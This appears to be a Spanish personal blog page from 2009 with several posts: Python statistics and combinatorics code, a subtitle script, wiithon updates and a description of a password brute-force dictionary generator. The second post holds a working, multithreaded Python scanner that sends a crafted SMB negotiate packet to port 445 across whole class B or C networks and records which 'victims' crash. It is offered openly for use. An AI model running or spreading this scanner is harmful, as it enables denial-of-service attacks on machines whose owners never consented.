Programar, para estudiar Estadística

Debido a que estadística es algo que me aburre sumamente, he encontrado un método de aprender entreteniéndome, programarme todos los algoritmos que voy viendo en clase.

He hecho una clase de estadística que dada una distribución en una lista de python y su correspondiente frecuencia absoluta, tambíen dada en otra lista, (obviamente de igual dimensión). Con estos 2 datos de entrada podemos llamar al metodo analisis() que nos mostrará todos los datos típicos de la estadistica descriptiva, desde la media hasta curtosis.

Obviamente puede tener fallos, si los detectais decirlo, no obstante cuando tenga tiempo los pruebo contrastando resultados y actualizo si es necesario.

Tambien metí las formulas de combinatoria en sus 7 combinaciones posibles. (premutacion con/sin rep, variación con/sin rep y combinación con/sin rep y una septima, las permutaciones circulares).

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# miércoles, 21 de octubre de 2009

import math
from math import sqrt

##################### GENERAL #############################

def factorial(n):
    if n == 0:
        return 1.0
    else:
        return n * factorial(n-1)
        
def productorio(lista):
    total = 1.0
    for n in lista:
        total *= n
    return total
        
def sumatorio(lista):
    total = 0.0
    for n in lista:
        total += n
    return total

##################### COMBINATORIA #############################

'''
Sí entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def permu(n, circular = False):
    if circular:
        return factorial(n-1)
    elif isinstance(n,list):
        return factorial(sumatorio(n)) / productorio(map (lambda x:factorial(x),n))
    else:
        return factorial(n)

'''
No entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def varia(n, m, repeticion = False):
    if repeticion:
        return n**m
    else:
        return factorial(n) / factorial(n-m)

'''
No  entran todos los elementos.
No importa el orden.
No/Si se repiten los elementos. 
'''
def combi(n, m, repeticion = False):
    if repeticion:
        return combi(n+m-1,n)
    else:
        return factorial(n) / (factorial(m) * factorial(n-m))

##################### ESTADISTICA #############################

class MuestraEstadistica:
    
    def __init__(self, xi, fa):
        self.xi = xi
        self.fa = fa

    def total_muestras(self):
        return sumatorio(self.fa)

    def frec_rel(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append(self.fa[i] / muestras)
        return fi
    
    def frec_acu(self):
        Fa = []
        acumulado = 0.0
        for i in range(len(self.fa)):
            acumulado += self.fa[i]
            Fa.append(acumulado)
        return Fa
    
    def frec_acu_rel(self):
        fi = self.frec_rel()
        Fi = []
        acumulado = 0.0
        for i in range(len(fi)):
            acumulado += fi[i]
            Fi.append(acumulado)
        return Fi

    def frec_rel_porc(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append((self.fa[i] / muestras) * 100)
        return fi

    def moda(self):
        i_max = 0
        for i in range(len(self.fa)):
            if self.fa[i] > self.fa[i_max]:
                i_max = i
        return self.xi[i_max]

    def mediana(self):
        muestras = self.total_muestras()
        valor_mediana = muestras / 2.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    def cuartiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 4.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1
    
    def percentiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 100.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1
    
    # momento k respecto a ref
    def momento(self, k, ref = 0):
        suma = 0.0
        muestras = self.total_muestras()
        for i in range(len(self.xi)):
             suma += (((self.xi[i]-ref)**k) * self.fa[i])
        return suma / muestras

    def media(self):
        return self.momento(1, 0)

    def varianza(self):
        return self.momento(2, self.media())
    
    # Coeficiente de asimetría de Fisher
    def asimetria_fisher(self):
        return self.momento(3, self.media()) / self.desviacion_tipica()**3
        
    def asimetria_pearson(self):
        return (self.media() - self.moda()) / self.desviacion_tipica()
        
    def asimetria_bowley(self):
        return (self.cuartiles(3) + self.cuartiles(1) - (2*self.mediana())) / (self.cuartiles(3) - self.cuartiles(1))
        
    def curtosis(self):
        return self.momento(4, self.media()) / self.desviacion_tipica()**4
    
    def desviacion_tipica(self):
        return sqrt(self.varianza())

    def mostrarInfo(self, titulo, lista):
        print "----- %s --------" % titulo
        t = 0.0
        for d in lista:
            print "%.2f, " % d,
            t += d
        print "Total: %.2f" % t
        
    def analisis(self):

        Fa = self.frec_acu()
        fi = self.frec_rel()
        Fi = self.frec_acu_rel()
        fi_porc = self.frec_rel_porc()

        self.mostrarInfo('Muestra', self.xi)
        self.mostrarInfo('Frecuencia absoluta', self.fa)
        self.mostrarInfo('Frecuencia absoluta acumulada', Fa)
        self.mostrarInfo('Frecuencia relativa', fi)
        self.mostrarInfo('Frecuencia relativa acumulada', Fi)
        self.mostrarInfo('Frecuencia en porcentaje', fi_porc)

        # valores unicos
        print "-----------------"
        print "Media = %.2f" % self.media()
        print "Moda = %.2f" % self.moda()
        print "Mediana = %.2f" % self.mediana()
        print "Cuartil 1 = %.2f" % self.cuartiles(1)
        print "Cuartil 2 = %.2f" % self.cuartiles(2)
        print "Cuartil 3 = %.2f" % self.cuartiles(3)
        print "Percentil 30 = %.2f" % self.percentiles(30)
        print "Percentil 60 = %.2f" % self.percentiles(60)
        print "Percentil 78 = %.2f" % self.percentiles(78)
        print "Momento 8 respecto la media = %.2f" % self.momento(8, self.media())
        print "Varianza = %.2f" % self.varianza()
        print "Desviacion tipica = %.2f" % self.desviacion_tipica()
        print "asimetria Fisher = %.2f" % self.asimetria_fisher()
        print "asimetria Pearson = %.2f" % self.asimetria_pearson()
        print "asimetria Bowley = %.2f" % self.asimetria_bowley()
        print "Curtosis = %.2f" % self.curtosis()

##################### MAIN #############################

def main():
    xi = [1,2,3,4,5,6]
    fa = [20,40,60,80,100,120]
    s = MuestraEstadistica(xi, fa)
    s.analisis()

if __name__ == '__main__':
    main()

Escaner exploit para Windows Vista / 2008

Basandome en un sencillo exploit realizado por Laurent Gaffié, lo he complicado un poco, con el fin de facilitar un poco el testeo de este exploit.
Puede hacer un escaner en redes de tipo B, C o ip única. Realmente NO lo he probado, pero debería funcionar, no obstante irlo probando y lo ire modificando, también lo publicaré en Media-Vida.
Tambien le he metido remesa(pool) de hilos, para evitar tanta espera inútil de I/O.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  https://blogricardo.wordpress.com/
# Hecho Ricardo Marmolejo García 
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 10 de septiembre de 2009 12:30
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 (  https://blogricardo.wordpress.com/licencia/ )

import time
import sys
import threading
from threading import Thread
from Queue import Queue
from socket import socket
from time import sleep

# configuracion
NUM_THREADS = 50
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.4'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)
                
    def estaOcupado(self):
        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):
    
    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)        
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )
    
    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)
        
    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
        
        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(3*self.TIMEOUT)
                s.connect((victima,puerto))
                s.send(self.buff)
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()
            
            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(10)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Posible exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima

Foro: Media-Vida

Ignorar mensajes Deprecated/Warnings en Python

Buscando en google una forma de ocultar unos warnings que no hay forma elegante de ocultarlos. Muy típico cuando utilizamos librerías de python que en su día fueron realizadas en python 2.5, y ahora python 2.6 ensucia un poco la salida. Para evitarlo:

#!/usr/bin/python -W ignore::DeprecationWarning

Tambien ayudará esto:

import warnings
warnings.filterwarnings('ignore')

Screenshot wiithon

Cada vez estamos más cerca de una versión estable, hoy llevo toda la tarde probando el buscador y va muy muy fino. (Utilizo un ORM llamado SQlAlchemy que a su vez esta basado el SQLLite).
Sigue leyendo

wiithon . WBFS GUI en Linux para WII . v0.98!

POST ANTICUADO, última versión wiithon: 1.1 https://blogricardo.wordpress.com/2009/11/20/wiithon-1-1-publicado/

Sigue leyendo

Script para generar diccionarios de fuerza bruta

Ultima modificación : miércoles, 10 de diciembre de 2009

Necesitaba abrir un pdf protegido por contraseña. Era un pdf con las notas de mi novia, y el cual el profesor se iba equivocado metiendo la contraseña y la pobre se iba a quedar todas las navidades sin saber la nota, asi que intentamos hacer fuerza bruta sobre el fichero, con exito.

Desarrolle un script en python que generara palabras de una longitud máxima a partir de un cadena que define un alfabeto. En mi ejemplo configuro las variables con estos valores:

LONGITUD = 6
ALFABETO = "abcdefghijklmnopqrstuvwxyz0123456789_-."

Generar todas las combinaciones posibles conlleva no solo considerar las de longitud 6, si no tambien las de longitud 5,4,3,2 e incluso 1. El alfabeto tiene 39 caracteres por tanto todas las combinaciones posibles son:

calculo de combinaciones

cálculo de combinaciones

Contraseñas de longitud mayor que 8 son muy costosas computacionalmente, por ello el script que he realizado me interesa que de mucha información de cuanto queda y cuanto lleva. En concreto 3 cosas:

  • El porcentaje que lleva del total.
  • Tiempo estimado restante (en horas, lo he puesto).
  • Velocidad: en palabras generadas por segundo

Con el dual core de mi portatil a 2.2 Ghz y con el ejemplo que pongo de palabras de hasta 6 caracteres y un alfabeto de 39 caracteres, los tiempos son muy buenos (aunque queda pendiente el uso de paralelización por MPI o algo así):

  • Velocidad media aprox: 610.000 palabras generadas / seg
  • Tiempo total : 1 hora 50 min

A continuación os pasteo el script (abrir un gedit generarDiccionario ):

Sigue leyendo

Script para pegar subtítulos de forma masiva a tus videos

Mi novia me ha pedido que le haga un  script para pegar subtitulos en mansalva, ya que su play 3 no lee subtitulos. Mientras esperamos que sony actualize, me he hecho este script.

Suponed que teneis en una misma carpeta (el script no es recursivo ahora mismo) muchos videos con su correspondiente subtirulo en formato (.srt) con el mismo nombre que el video pero cuya extensión es “.srt”. Simplemente con esa carpeta como directorio de trabajo ponemos sin parametro ninguno “pegarSubtitulos” y empieza a ripear todos los videos con extension: avi , mpg, mkv, mpg2, mpg4, mp4,flv y wmv (si se os ocurren más extensiones, decirmelo). El script tambien acepta una lista de N parametros, donde podemos enumerar concretamente los videos que queremos en concreto, tambien acepta expresiones regulares gracias a la librería de python glob.

Actualización: jueves, 22 de enero de 2009

Características:

  • Ejecutando el script sin parametros busca en el directorio actual (sin recursividad), los archivos con alguna de las siguientes extensiones: “avi”,”mpg”,”mkv”,”mpg2″,”mpg4″,”mp4″,”flv” y “wmv”. Automaticamente busca su .srt para pegarlo en el video. Y además ahora hago algo que en la primera versión no hacía dando como fallo problemas con los acentos, ahora mencoder espera un formato latin1. Por lo tanto si un subtitulo esta utf8 lo convierto a latin1 con el comando iconv
  • -forzar|-f            Fuerza a sobreescribir el archivo de salida : _ripeado.avi
  • -verbose|-v            Muestra mas informacion de salida
  • -recursive|-r|-recursivo    Busca videos recursivamente
  • -help|-h|-ayuda            Muestra la ayuda
  • Importante:
    – Todo parametro desconocido se considerara un video para ripear
    – Si no se especifican videos, los videos se listaran de manera automatica, recursiva o no dependiendo si has puesto el -r
  • Cualquier bug que encontreis en los comentarios por favor.
    Sigue leyendo